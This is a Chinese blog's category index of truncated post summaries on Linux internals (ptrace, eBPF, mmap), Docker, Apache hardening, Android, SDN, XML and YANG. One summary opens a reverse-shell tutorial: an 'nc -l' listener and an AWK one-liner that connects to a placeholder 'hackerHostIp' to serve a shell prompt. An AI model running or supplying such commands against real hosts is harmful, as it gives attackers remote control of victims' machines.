随笔分类 - 杂项
摘要:一、ptrace系统调用 ptrace在内核中的实现是sys_ptrace函数,也可以说是SYSCALL_DEFINE4(ptrace, ...)。 其中sys_ptrace负责attach相关请求的处理,之后调用arch_ptrace函数来处理其余请求,而arch_ptrace函数也只处理一部分请
阅读全文
摘要:一、介绍 历史: cBPF:Linux 2.1.75 -> eBPF:Linux 3.18 eBPF能做什么呢? 二、编写BPF程序 BPF程序类型 bpf_prog_type 该类型定义在/include/uapi/linux/bpf.h。 enum bpf_prog_type { BPF_PRO
阅读全文
摘要:一、概念 文件映射:将磁盘上的文件映射入内存,所谓映射就是先在内存中分配一块内存预备使用,在使用的时候再将文件加载入内存。 内存共享:在进程A中开辟一块内存,然后将这块内存映射到进程B中(进程B实际也会开辟一块内存空间),进程A与B访问它们物理上各自开辟的空间,但是逻辑上是访问同一块内存。 二、文件
阅读全文
摘要:一、关于apache的配置文件 apache的配置文件/etc/httpd/conf/httpd.conf或/etc/apache2/httpd.conf,就是httpd.conf文件。 1.配置httpd.conf取消对上传目录的php执行权限: <Directory "/var/www/html
阅读全文
摘要:查看docker-compose版本 docker-compose version 列出本地主机上的镜像 docker images 运行镜像 docker run --privileged docker run -it -p 8080:80 117c88e99aae /bin/bash docke
阅读全文
摘要:因为手机设备锁解除需要卡时间懒得重新来一遍,当时root过程中也没有记录图片,所以没有图片,只有过程。 第一步:BL解锁 在小米官网中下载最新的小米解锁工具,并按教程进行解锁即可(https://www.miui.com/unlock/index.html)。 1.点击 手机设置 -> 我的设备 -
阅读全文
摘要:反弹shell 一、基于AWK hacker机器上执行命令: nc -l Port hacker机器一直监听某端口。 在受害主机上执行命令: awk 'BEGIN {s = "/inet/tcp/0/hackerHostIp/Port"; while(42) { do{ printf "shell>
阅读全文
摘要:一、通过设置调试标志,PTRACE_TRACEME 使用PTRACE_TRACEME作为第一个参数调用ptrace函数,表示该进程由父进程跟踪。任何信号(除了SIGKILL),不管是从外来的还是由exec系统调用产生的,都将使得子进程被暂停,由父进程决定子进程的行为。在request为PTRACE_
阅读全文
摘要:一、Windows消息机制概念&原理: 一个事件从发生到达处理它的窗口处理函数必须经历以上过程。消息是非抢占式的,总是按到达的先后排队。这也有弊端,就是可能导致一些要求实时事件不能及时得到处理。 就MFC框架来说,App全局对象执行构造结束后紧接着就调用函数WinMain(),函数WinMain调用
阅读全文
摘要:ping www.baidu.com 可能是本地DNS服务器没配置。 修改域名服务器配置文件 vi /etc/resolv.conf
阅读全文
摘要:IPC (Inter-Process Communication) 意思是: 进程间的通信,是指两个进程之间进行数据交换的过程。 Android中如何开启多进程呢? 只需要给四大组件(Activity、Service、Receiver、ContentProvider)在Android Menifes
阅读全文
摘要:opendaylight项目有两种主要的开发方式,一种是基于opendaylight内部的MD-SAL模块内核相关服务的控制器组件开发,调用Java API直接与内核关键模块互操作完成项目功能; 另一种是基于opendaylight项目提供的北向接口进行opendaylight项目之上的网络应用开发
阅读全文
摘要:零、概念 一个XML文件分为如下几部分内容: 文档声明 元素 属性 注释 CDATA区 、特殊字符 处理指令(processing instruction) 语法: 一、文档声明 在编写XML文档时,需要先使用文档声明,声明XML文档的类型。 最简单的声明语法: <?xml version="1.0
阅读全文
摘要:Yang is what? YANG 是一门数据建模语言(随着 NETCONF 协议而产生)。 Yang将数据按层次组织,建模成一棵树。每个节点都有一个名字、一个值或一个子节点集。这种层次利于扩展。 特性:具有良好的可读性和可扩展性。支持Json语言的绑定,支持REST-CONF协议,支持远程调用R
阅读全文
摘要:(一)安装Java 执行 java –version 查看使用的 java 版本 这个版本的 ubuntu 装的应该是 jdk 1.8 安装debian钥匙环 apt install debian-archive-keyring 添加必要的仓库 add-apt-repository 'deb htt
阅读全文
摘要:软件定义网络(Software Defined Network, SDN ),是一种新型网络架构。 SDN=OpenFlow:因为Openflow是大多数人唯一看得到的具体化的SDN的实现形式(实际上当然还有别的实现形式,但是很多人并没有看到或者看到了也没意识到)。 SDN的三个本质属性:控制跟转发
阅读全文